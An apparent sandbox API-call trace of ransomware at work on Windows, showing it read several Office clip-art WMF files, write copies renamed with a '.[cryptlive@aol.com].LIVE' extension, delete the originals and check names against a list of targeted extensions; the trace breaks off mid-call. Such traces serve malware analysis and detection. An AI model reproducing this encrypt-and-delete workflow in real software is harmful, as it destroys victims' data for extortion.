[0154.788] CloseHandle (hObject=0x314) returned 1 [0154.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf")) returned 0x20 [0154.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0154.869] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.869] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0154.871] GetLastError () returned 0x0 [0154.871] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x2168, lpOverlapped=0x0) returned 1 [0154.889] WriteFile (in: hFile=0x1f8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2170, lpOverlapped=0x0) returned 1 [0154.890] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.891] WriteFile (in: hFile=0x1f8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.891] SetEndOfFile (hFile=0x1f8) returned 1 [0154.891] CloseHandle (hObject=0x1f8) returned 1 [0154.891] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.891] SetEndOfFile (hFile=0x3a0) returned 1 [0154.894] CloseHandle (hObject=0x3a0) returned 1 [0154.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.895] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf")) returned 1 [0154.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0154.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0154.896] lstrlenW (lpString=".doc") returned 4 [0154.896] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.896] lstrlenW (lpString=".docx") returned 5 [0154.896] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.896] lstrlenW (lpString=".pdf") returned 4 [0154.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.896] lstrlenW (lpString=".xls") returned 4 [0154.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.896] lstrlenW (lpString=".xlsx") returned 5 [0154.896] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.896] lstrlenW (lpString=".ppt") returned 4 [0154.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0154.896] lstrlenW (lpString=".zip") returned 4 [0154.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.897] lstrlenW (lpString=".rar") returned 4 [0154.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.897] lstrlenW (lpString=".bz2") returned 4 [0154.897] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.897] lstrlenW (lpString=".7z") returned 3 [0154.897] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0154.897] lstrlenW (lpString=".dbf") returned 4 [0154.897] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0154.897] lstrlenW (lpString=".1cd") returned 4 [0154.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0154.897] lstrlenW (lpString=".jpg") returned 4 [0154.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0154.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0154.897] lstrlenW (lpString=".doc") returned 4 [0154.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.897] lstrlenW (lpString=".docx") returned 5 [0154.897] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.897] lstrlenW (lpString=".pdf") returned 4 [0154.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.897] lstrlenW (lpString=".xls") returned 4 [0154.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.897] lstrlenW (lpString=".xlsx") returned 5 [0154.897] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.897] lstrlenW (lpString=".ppt") returned 4 [0154.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0154.898] lstrlenW (lpString=".zip") returned 4 [0154.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.898] lstrlenW (lpString=".rar") returned 4 [0154.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.898] lstrlenW (lpString=".bz2") returned 4 [0154.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.898] lstrlenW (lpString=".7z") returned 3 [0154.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0154.898] lstrlenW (lpString=".dbf") returned 4 [0154.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0154.898] lstrlenW (lpString=".1cd") returned 4 [0154.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0154.898] lstrlenW (lpString=".jpg") returned 4 [0154.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.898] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.898] lstrlenW (lpString="J0107290.WMF") returned 12 [0154.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0154.899] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=12308) returned 1 [0154.899] CloseHandle (hObject=0x3a0) returned 1 [0154.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf")) returned 0x20 [0154.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0154.900] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.900] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0154.901] GetLastError () returned 0x0 [0154.901] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x3014, lpOverlapped=0x0) returned 1 [0155.026] WriteFile (in: hFile=0x1f8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3020, lpOverlapped=0x0) returned 1 [0155.027] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0155.027] WriteFile (in: hFile=0x1f8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.027] SetEndOfFile (hFile=0x1f8) returned 1 [0155.027] CloseHandle (hObject=0x1f8) returned 1 [0155.027] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.027] SetEndOfFile (hFile=0x3a0) returned 1 [0155.030] CloseHandle (hObject=0x3a0) returned 1 [0155.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0155.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf")) returned 1 [0155.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0155.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0155.031] lstrlenW (lpString=".doc") returned 4 [0155.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.031] lstrlenW (lpString=".docx") returned 5 [0155.031] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0155.031] lstrlenW (lpString=".pdf") returned 4 [0155.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.031] lstrlenW (lpString=".xls") returned 4 [0155.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.031] lstrlenW (lpString=".xlsx") returned 5 [0155.031] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0155.031] lstrlenW (lpString=".ppt") returned 4 [0155.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0155.031] lstrlenW (lpString=".zip") returned 4 [0155.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.032] lstrlenW (lpString=".rar") returned 4 [0155.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.032] lstrlenW (lpString=".bz2") returned 4 [0155.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.032] lstrlenW (lpString=".7z") returned 3 [0155.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0155.032] lstrlenW (lpString=".dbf") returned 4 [0155.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0155.032] lstrlenW (lpString=".1cd") returned 4 [0155.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0155.032] lstrlenW (lpString=".jpg") returned 4 [0155.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0155.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0155.032] lstrlenW (lpString=".doc") returned 4 [0155.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.032] lstrlenW (lpString=".docx") returned 5 [0155.032] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0155.032] lstrlenW (lpString=".pdf") returned 4 [0155.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.032] lstrlenW (lpString=".xls") returned 4 [0155.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.032] lstrlenW (lpString=".xlsx") returned 5 [0155.032] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0155.032] lstrlenW (lpString=".ppt") returned 4 [0155.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0155.032] lstrlenW (lpString=".zip") returned 4 [0155.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.032] lstrlenW (lpString=".rar") returned 4 [0155.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.033] lstrlenW (lpString=".bz2") returned 4 [0155.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.033] lstrlenW (lpString=".7z") returned 3 [0155.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0155.033] lstrlenW (lpString=".dbf") returned 4 [0155.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0155.033] lstrlenW (lpString=".1cd") returned 4 [0155.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0155.033] lstrlenW (lpString=".jpg") returned 4 [0155.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.033] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0155.033] lstrlenW (lpString="J0107308.WMF") returned 12 [0155.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0155.290] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=15888) returned 1 [0155.290] CloseHandle (hObject=0x1fc) returned 1 [0155.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf")) returned 0x20 [0155.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0155.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0155.418] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.418] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0155.420] GetLastError () returned 0x0 [0155.420] ReadFile (in: hFile=0x3b4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x3e10, lpOverlapped=0x0) returned 1 [0155.442] WriteFile (in: hFile=0x3a0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3e20, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3e20, lpOverlapped=0x0) returned 1 [0155.443] ReadFile (in: hFile=0x3b4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0155.443] WriteFile (in: hFile=0x3a0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.443] SetEndOfFile (hFile=0x3a0) returned 1 [0155.444] CloseHandle (hObject=0x3a0) returned 1 [0155.444] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.444] SetEndOfFile (hFile=0x3b4) returned 1 [0155.447] CloseHandle (hObject=0x3b4) returned 1 [0155.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0155.447] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf")) returned 1 [0155.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0155.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0155.449] lstrlenW (lpString=".doc") returned 4 [0155.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.449] lstrlenW (lpString=".docx") returned 5 [0155.449] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0155.449] lstrlenW (lpString=".pdf") returned 4 [0155.449] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.449] lstrlenW (lpString=".xls") returned 4 [0155.449] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.449] lstrlenW (lpString=".xlsx") returned 5 [0155.449] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0155.449] lstrlenW (lpString=".ppt") returned 4 [0155.449] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0155.449] lstrlenW (lpString=".zip") returned 4 [0155.449] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.449] lstrlenW (lpString=".rar") returned 4 [0155.449] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.450] lstrlenW (lpString=".bz2") returned 4 [0155.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.450] lstrlenW (lpString=".7z") returned 3 [0155.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0155.450] lstrlenW (lpString=".dbf") returned 4 [0155.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0155.450] lstrlenW (lpString=".1cd") returned 4 [0155.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0155.450] lstrlenW (lpString=".jpg") returned 4 [0155.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0155.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0155.450] lstrlenW (lpString=".doc") returned 4 [0155.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.450] lstrlenW (lpString=".docx") returned 5 [0155.450] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0155.450] lstrlenW (lpString=".pdf") returned 4 [0155.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.450] lstrlenW (lpString=".xls") returned 4 [0155.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.450] lstrlenW (lpString=".xlsx") returned 5 [0155.450] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0155.450] lstrlenW (lpString=".ppt") returned 4 [0155.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0155.451] lstrlenW (lpString=".zip") returned 4 [0155.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.451] lstrlenW (lpString=".rar") returned 4 [0155.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.451] lstrlenW (lpString=".bz2") returned 4 [0155.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.451] lstrlenW (lpString=".7z") returned 3 [0155.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0155.451] lstrlenW (lpString=".dbf") returned 4 [0155.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0155.451] lstrlenW (lpString=".1cd") returned 4 [0155.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned 63 [0155.451] lstrlenW (lpString=".jpg") returned 4 [0155.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.451] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0155.451] lstrlenW (lpString="J0107328.WMF") returned 12 [0155.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0155.982] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=6532) returned 1 [0155.982] CloseHandle (hObject=0x314) returned 1 [0155.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf")) returned 0x20 [0156.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), 